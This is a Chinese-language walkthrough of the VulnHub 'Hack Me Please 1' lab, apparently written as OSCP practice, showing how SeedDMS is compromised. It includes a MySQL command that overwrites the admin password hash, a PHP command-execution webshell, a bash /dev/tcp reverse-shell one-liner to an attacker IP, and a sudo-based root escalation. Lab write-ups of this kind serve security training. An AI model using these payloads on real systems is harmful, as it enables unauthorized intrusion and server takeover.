靶机下载地址:https://www.vulnhub.com/entry/hack-me-please-1,731/
1.信息收集
开放端口信息:
- 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
- 3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1
- 33060/tcp open mysqlx?
测试思路:
- 80端口:主要功能点测试、审查源码、JS文件、目录扫描
- 3306端口:弱口令爆破,其它途径获取可能的账密信息
- 33060端口:mysqlx为mysql的插件,完成文件存储数据库功能
访问网页
查看主要功能点,没有发现切入点。
目录扫描
发现了3个目录,除了index.html外,另外两个一个是一张图片,另一个返回403禁止访问,都没有发现切入点。
审查源码
返回网页查看源码,其它没什么可疑之处,转而关注js文件,发现了几个感兴趣的js文件
JS文件
查看main.js文件,其中暴露了一个服务目录
访问该目录 http://192.168.71.149/seeddms51x/seeddms-5.1.22/:
发现这是一个文档管理系统,名为SeedDMS,根据目录,版本可能为5.1.22
2.SeedDMS信息收集
访问SeedDMS首先要求登录,在面对一个登录页面时,主要有以下思路:
- 搜索服务已公开漏洞
- 账密爆破
- SQL注入
- 如果是开源项目,可以下载到本地查看可用信息,特别是配置文件。必要时需要在本地搭建该项目。
搜索已公开漏洞:
发现其中没有针对5.1.22版本的,而且看了下,其中的两个可获取shell的RCE漏洞是由于PHP脚本文件上传导致的,是需要登录的,但是现在连登录都没成功,因此这些不可利用。
账密爆破:靶机说明里提示了不需要爆破。
SQL注入:注意在OSCP考试中是不可以使用sqlmap这类自动化扫描工具的。手工测试方式后续再练习。
下载开源源码:
SeedDMS下载地址:https://sourceforge.net/projects/seeddms/files/
查看配置文件,发现了数据库连接信息,有默认账户名密码。
因为把SeedDMS下载到本地,我们知道配置文件的路径为:seeddms主目录/conf/settings.xml
这里访问:http://192.168.71.149/seeddms51x/conf/settings.xml,
尝试是否可以查看靶机的配置文件。
可以成功读取靶机配置文件,发现数据库账户密码没改,还是seeddms:seeddms
3.SeedDMS数据库
用账密信息连接数据库
mysql -h 192.168.71.149 -useeddms -pseeddms -Dseeddms
查看seeddms数据库中的表,其中tblUsers这个表中有一个admin用户,密码是被加密了的。
把密码用md5解密,解密不成功。
那么换一种思路,如果把这个表更新,把admin的密码替换为我们已知密码的md5值,是否会成功呢?
把123456的md5值替换上去。
update tblUsers SET pwd='e10adc3949ba59abbe56e057f20f883e' where login='admin';
更新成功。
然后尝试登录SeedDMS系统。
登录成功!
4.SeedDMS漏洞利用
还记得之前搜索公开漏洞时,有两个RCE漏洞是PHP文件上传的,可以尝试一下在该版本中是否可以利用。
新建后门文档
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
上传后门并记住文档号
上传完成后刷新下页面,可以看到文件上传成功。
系统会把上传的文件放在\seeddms51x\data\1048576\”ID“\1.php(你上传的文件会被重命名为1.php)。查看文档信息,显示文档ID为5。
调用后门
访问http://192.168.71.149/seeddms51x/data/1048576/5/1.php, 调用php后门成功。
反弹shell
反弹shell命令
bash -c 'exec bash -i >& /dev/tcp/192.168.71.139/4444 0>&1'
将它进行URI编码后,作为cmd参数内容在hackbar里提交。
bash%20-c%20'exec%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.71.139%2F4444%200%3E%261'
成功反弹shell
5.提权
查看当前权限
账号收集
查看/etc/passwd文件,发现一个眼熟的用户
还记得查看数据表时,user表中有该名称的用户
表里显示密码为:Saket@#$1337
切换账号
尝试登录saket账号
登录成功!
查看权限
先用id命令,发现saket用户在很多用户组中;再用sudo -l命令查看该用户权限,发现他可以执行全部sudo命令。
转换为root用户
获取root权限成功!
6.总结
该靶机考察的点:
- JS敏感信息泄露:泄露了安装的应用程序目录
- 开源项目的信息收集:配置文件中暴露账号密码信息
- mysql基础
- 应用服务已知漏洞收集
- 后门上传getshell
- 反弹shell命令
- linux基础和提权